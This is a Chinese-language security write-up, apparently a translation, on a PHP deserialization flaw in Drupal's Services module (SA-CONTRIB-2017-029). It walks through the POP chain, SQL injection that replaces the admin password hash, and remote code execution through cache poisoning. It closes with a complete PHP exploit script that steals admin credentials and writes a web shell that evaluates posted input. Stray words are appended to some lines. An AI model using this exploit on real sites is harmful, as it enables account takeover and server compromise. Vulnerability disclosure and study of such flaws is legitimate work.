在審計Drupal的Service模塊的時候,檢測到對 unserialize()函數的一次不安全調用。經過該漏洞,能夠致使權限逃逸、SQL注入以及遠程代碼執行。php
在Drupal中,Service模塊提供了API,開放了一些服務接口給外部程序。做爲基礎功能,容許任何人使用SOAP、REST或者XMLRPC向服務端發送、獲取多種格式的數據。該模塊在Drupal前150個最經常使用的模塊之中,大約有45000個站點在使用該模塊。
Service模塊容許建立不一樣的endpoint,而且對不一樣的endpoint設置不一樣的resource。容許經過自定義的API與Web站點進行數據交互。例如,對於/user/login不只能夠經過JSON也能夠經過XML進行訪問。
請求包:node
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1 Host: vmweb.lan Accept: application/json Content-Type: application/jsonContent-Length: 45Connection: close {"username": "admin", "password": "password"}
響應包:web
HTTP/1.1 200 OK Date: Thu, 02 Mar 2017 13:58:02 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Vary: Accept Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw;expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly Content-Length: 635 Connection: close Content-Type: application/json {"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
Service模塊有個屬性,能夠經過改變Http頭中的 Content-Type/Accept字段,實現對輸入輸出格式的控制。默認狀況下,容許如下格式:sql
對於大多數人來講,最後一種格式並不常見。即,使用PHP序列化數據,測試以下:shell
請求包:數據庫
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1 Host: vmweb.lan Accept: application/json Content-Type: application/vnd.php.serialized Content-Length: 45 Connection: close a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
響應包:json
HTTP/1.1 200 OK Date: Thu, 02 Mar 2017 14:29:54 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Sun, 19 Nov 1978 05:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Vary: Accept Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly Content-Length: 635 Connection: close Content-Type: application/json {"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
查看源碼,確實存在一個很隱蔽的反序列化漏洞。(services/servers/rest_server/includes/ServicesParser.inc)api
<?php function rest_server_request_parsers() { static $parsers = NULL; if (!$parsers) { $parsers = array( 'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded', 'application/json' => 'ServicesParserJSON', 'application/vnd.php.serialized' => 'ServicesParserPHP', 'multipart/form-data' => 'ServicesParserMultipart', 'application/xml' => 'ServicesParserXML', 'text/xml' => 'ServicesParserXML', ); } } class ServicesParserPHP implements ServicesParserInterface { public function parse(ServicesContextInterface $context) { return unserialize($context->getRequestBody()); } }
如何利用呢?緩存
Drupal缺少一款簡單易用的反序列化小工具。一般狀況下,service模塊中存在大量的endpoint,它們都具有利用序列化數據與服務器交互的能力,這就使得他們都有可能成爲潛在的攻擊點。好比,經過用戶提交的序列化數據進行SQL注入,並將結果回顯在頁面中,等等...安全
雖然/user/login是最常調用的endpoint之一, 本文主要實現針對這個endpoint的SQL注入攻擊。在PHP反序列化啓用的前提下,經過精心構造,甚至能夠實現RCE攻擊。
2.1 SQL注入
/user/login的主要的功能是實現認證。爲實現這個目的,Drupal利用內部API,經過用戶名在數據庫中查找對應的密碼哈希值,並將此值與用戶輸入的密碼進行比較。這就代表,咱們輸入的用戶名會被構形成sql語句,經過Drupal內部的數據庫API來執行。調用過程與下面的代碼很是相似:
<?php $user = db_select('users', 'base') # Table: users Alias: base ->fields('base', array('uid', 'name', ...)) # Select every field ->condition('base.name', $username) # Match the username ->execute(); # Build and run the query
對於反序列化漏洞,通常狀況下,系統的崩潰是因爲內部實現時存在bug,而不是經過提交常規的輸入數據致使的。一般狀況下API提供進行子查詢的功能,在Drupal中經過 SelectQueryInterface來實現。
<?php class DatabaseCondition implements QueryConditionInterface, Countable { public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) { if ($condition['value'] instanceof SelectQueryInterface) { $condition['value']->compile(connection, $queryPlaceholder); $placeholders[] = (string) condition['value']; $arguments += condition['value']->arguments(); // Subqueries are the actual value of the operator, we don't // need to add another below. $operator['use_value'] = FALSE; } } }
如代碼所示,在查詢以前,查詢語句未被檢查,所以極有可能存在SQL注入。爲了成功利用,用戶輸入的 $username:必須知足如下條件:
SelectQueryExtender是 SelectQueryInterface中僅有的兩個對象(include/database/select.inc)。SelectQueryExtender對標準SelectQuery 對象進行了封裝,其中的屬性 $query 包含着以前提到的對象。當調用 compile()和 __toString()時,基類中的方法同時被調用。
<?php class SelectQueryExtender implements SelectQueryInterface { /** * The SelectQuery object we are extending/decorating. * * @var SelectQueryInterface */ # Note: Although this expects a SelectQueryInterface, this is never enforced protected $query; public function __toString() { return (string) $this->query; } public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) { return this->query->compile(connection, $queryPlaceholder); } }
因此能夠將這個類做爲一個「代理」,實現與其餘類之間的交互。這就使得咱們知足了第一個條件。
後兩個條件,在DatabaseCondition這個對象中被知足(includes/database/query.inc )。處於性能的考慮,其中有個屬性 stringVersion,在調用過compile以後依然包含以前的string表達式。
<?php class DatabaseCondition implements QueryConditionInterface, Countable { protected $changed = TRUE; protected $queryPlaceholderIdentifier; public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) { // Re-compile if this condition changed or if we are compiled against a // different query placeholder object. if (this->changed || isset(this->queryPlaceholderIdentifier) && (this->queryPlaceholderIdentifier != queryPlaceholder->uniqueIdentifier())) { $this->changed = FALSE; this->stringVersion = implode(conjunction, $condition_fragments); } } public function __toString() { // If the caller forgot to call compile() first, refuse to run. if ($this->changed) { return NULL; } return $this->stringVersion; } }
至此,觸發SQL注入的條件都已經知足。最有效的利用方式就是,經過UNION查詢將管理員的密碼哈希值替換爲咱們本身的哈希值,實現成功登陸。
# Original Query SELECT ..., base.name AS name, base.pass AS pass, base.mail AS mail, ... FROM {users} WHERE (name = # Injection starts here 0x3a) UNION SELECT ..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ... FROM {users} ORDER BY (uid # Injection ends here );
也能夠將數據庫中的原有數據存放在其餘字段中,好比,將管理員的簽名替換爲原始哈希值。
成功以管理員帳號登陸,而且能夠查看數據庫中的任何數據。
2.2 Remote Code Eexcution2.2 Remote Code Eexcution
Drupal擁有一張緩存表,存儲着序列化數據。Service模塊也有兩張表,存儲着每個endpoint、資源列表、所須要的參數、以及所調用的函數。
事實上,修改cache表,可使模塊調用任意PHP函數,這將會對系統產生巨大的影響。很幸運, DrupalCacheArray類恰好能實現以上功能。接下來的攻擊就很簡單了。
爲了避免破壞endpoint,首先使用SQL注入獲取原始數據,並僅修改特定字段。經過file_put_contents()成功建立後門以後,即恢復原始數據。
因爲該漏洞的成功利用,須要知道endpoint的全路徑,因此必定程度上減輕了危害。但 "application/vnd.php.serialized"默認狀況下是開啓的,因此在不使用的狀況下,建議關閉該選項。
#!/usr/bin/php<?php# Drupal Services Module Remote Code Execution Exploit# https://www.ambionics.io/blog/drupal-services-module-rce# cf## Three stages:# 1. Use the SQL Injection to get the contents of the cache for current endpoint# along with admin credentials and hash# 2. Alter the cache to allow us to write a file and do so# 3. Restore the cache# # Initialization error_reporting(E_ALL); define('QID', 'anything');define('TYPE_PHP', 'application/vnd.php.serialized');define('TYPE_JSON', 'application/json');define('CONTROLLER', 'user');define('ACTION', 'login'); $url = 'http://vmweb.lan/drupal-7.54';$endpoint_path = '/rest_endpoint';$endpoint = 'rest_endpoint'; $file = [ 'filename' => 'dixuSOspsOUU.php', 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>']; $browser = new Browser($url . $endpoint_path); # Stage 1: SQL Injection class DatabaseCondition{ protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } } } class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); } } $cache_id = "services:$endpoint:resources";$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";$password_hash ='$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; # Take first user but with a custom password# Store the original password hash in signature_format, and endpoint cache# in signature$query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0"; $query = new SelectQueryExtender($query);$data = ['username' => $query, 'password' => 'ouvreboite'];$data = serialize($data); $json = $browser->post(TYPE_PHP, $data); # If this worked, the rest will as wellif(!isset($json->user)){ print_r($json); e("Failed to login with fake password"); } # Store session and user data $session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token];store('session', $session); $user = $json->user; # Unserialize the cached value# Note: Drupal websites admins, this is your opportunity to fight back :)$cache = unserialize($user->signature); # Reassign fields$user->pass = $user->signature_format;unset($user->signature);unset($user->signature_format); store('user', $user); if($cache === false){ e("Unable to obtains endpoint's cache value"); } x("Cache contains " . sizeof($cache) . " entries"); # Stage 2: Change endpoint's behaviour to write a shell class DrupalCacheArray{ # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); } } class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry; } cache_poison($endpoint, $cache); # Write the file$json = (array) $browser->post(TYPE_JSON, json_encode($file)); # Stage 3: Restore endpoint's behaviour cache_reset($endpoint, $cache); if(!(isset($json[0]) && $json[0] === strlen($file['data']))){ e("Failed to write file."); } $file_url = $url . '/' . $file['filename'];x("File written: $file_url"); # HTTP Browser class Browser{ private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); } } # Cache function cache_poison($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr); } function cache_reset($endpoint, $cache){ $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr); } function cache_edit($tr){ global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data); } # Utils function x($message){ print("$message\n"); } function e($message){ x($message); exit(1); } function store($name, $data){ $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename"); }
Services - Highly Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029